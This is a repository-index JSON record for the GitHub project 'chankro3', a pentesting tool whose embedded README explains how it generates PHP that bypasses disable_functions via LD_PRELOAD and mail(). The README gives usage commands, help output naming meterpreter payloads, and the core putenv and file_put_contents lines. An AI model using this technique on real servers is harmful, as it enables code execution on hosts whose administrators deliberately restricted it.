{"id":23050798,"url":"https://github.com/richardschwabe/chankro3","last_synced_at":"2025-04-03T03:42:41.841Z","repository":{"id":186917378,"uuid":"675949522","full_name":"richardschwabe/chankro3","owner":"richardschwabe","description":"Exploit mail function in php when admin disabled other functions like shell. Uses LD_PRELOAD","archived":false,"fork":false,"pushed_at":"2023-08-08T08:16:39.000Z","size":10,"stargazers_count":3,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-02-08T17:44:38.391Z","etag":null,"topics":["cyber","cyber-security","exploit","pentest-scripts","pentesting","pentesting-tools","php","php-exploit"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/richardschwabe.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-08-08T05:14:17.000Z","updated_at":"2023-12-11T10:48:10.000Z","dependencies_parsed_at":"2023-08-08T08:44:45.373Z","dependency_job_id":null,"html_url":"https://github.com/richardschwabe/chankro3","commit_stats":null,"previous_names":["richardschwabe/chankro3"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/richardschwabe%2Fchankro3","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/richardschwabe%2Fchankro3/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/richardschwabe%2Fchankro3/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/richardschwabe%2Fchankro3/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/richardschwabe","download_url":"https://codeload.github.com/richardschwabe/chankro3/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246933354,"owners_count":20857052,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cyber","cyber-security","exploit","pentest-scripts","pentesting","pentesting-tools","php","php-exploit"],"created_at":"2024-12-15T23:37:44.837Z","updated_at":"2025-04-03T03:42:41.817Z","avatar_url":"https://github.com/richardschwabe.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# chankro3\nIn a nutshell: System Administrator disabled various functions in `php.ini`, but this script sets  `LD_PRELOAD` in the environment to our payload and executes it when executing a normal php command: mail.\n\nTo learn more about this checkout the original bug report from 2008: [\nBug #46741\tputenv()+mail() allows for open_basedir bypass and \"disabled\" functionality by gat3way](https://bugs.php.net/bug.php?id=46741)\n\n\n\nThe original chankro was written in python2 and seems unsupported: [Chankro](https://github.com/TarlogicSecurity/Chankro)\n\n## Installation\n\nTo run chankro3 there are no 3rd party packages required. Simply run it with `python3`.\n\nSimply clone the repo:\n```\ngit clone https://github.com/richardschwabe/chankro3.git\ncd chankro3\npython chankro3.py --help\n```\n\n## Usage\n\nRun this to run the example:\n\n```shell\npython chankro3.py -p example_payload.sh -o example.php -r /var/www/html -n myname.so\n```\n\nThis example uses the [example payload](example_payload.sh). Simply running a `whoami` command and saves its output to `/var/www/html/whoami.txt`.\nOnce you run the example command you should see a [example.php](example.php) file in your current directory. If you check the contents of the file you will see the custon name `myname` in two lines:\n\n```php\n...SNIP...\nfile_put_contents('/var/www/html/myname.so', base64_decode($hook));\n...SNIP...\nputenv('LD_PRELOAD=/var/www/html/myname.so');\n...SNIP...\n```\n\nThe remote path is set where you can find your `myname.so` file.\n\n\n\nHere is the help command:\n\n```shell\n❯ python chankro3.py --help\nusage: chankro3.py [-h] [-a {32,64}] [-p PAYLOAD] [-o OUTPUT] [-r REMOTE_PATH] [-n CUSTOM_NAME]\n\nGenerates PHP script to exploit disable_function and open_basedir\n\nThis version is a bit more customisable and for Python 3! You can find more info at:\nAuthor: Richard Schwabe\nGithub: https://github.com/richardschwabe/chankro3\n\nOriginal was for python2 you can find it here:\nAuthor:   TarlogicSecurity\nOriginal: https://github.com/TarlogicSecurity/Chankro\n\noptions:\n  -h, --help            show this help message and exit\n  -a {32,64}, --arch {32,64}\n                        x86 or x64 Architecture, Default: 32\n  -p PAYLOAD, --payload PAYLOAD\n                        Binary to be executed (p.e. meterpreter)\n  -o OUTPUT, --output OUTPUT\n                        Output PHP filename, Default:chankro3.php\n  -r REMOTE_PATH, --remote REMOTE_PATH\n                        Absolute Path on Victim Host, Default: /tmp\n  -n CUSTOM_NAME, --name CUSTOM_NAME\n                        Custom name for remote chankro3 file, Default: chankro3.so\n```\n\n\n## License\nFor the contents of this repo, apart from otherwise specified:\n[MIT](LICENSE)\n\nFor hook.c, hook32.so, hook64.so: GNU v3 as specified by the original Author.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frichardschwabe%2Fchankro3","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frichardschwabe%2Fchankro3","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frichardschwabe%2Fchankro3/lists"}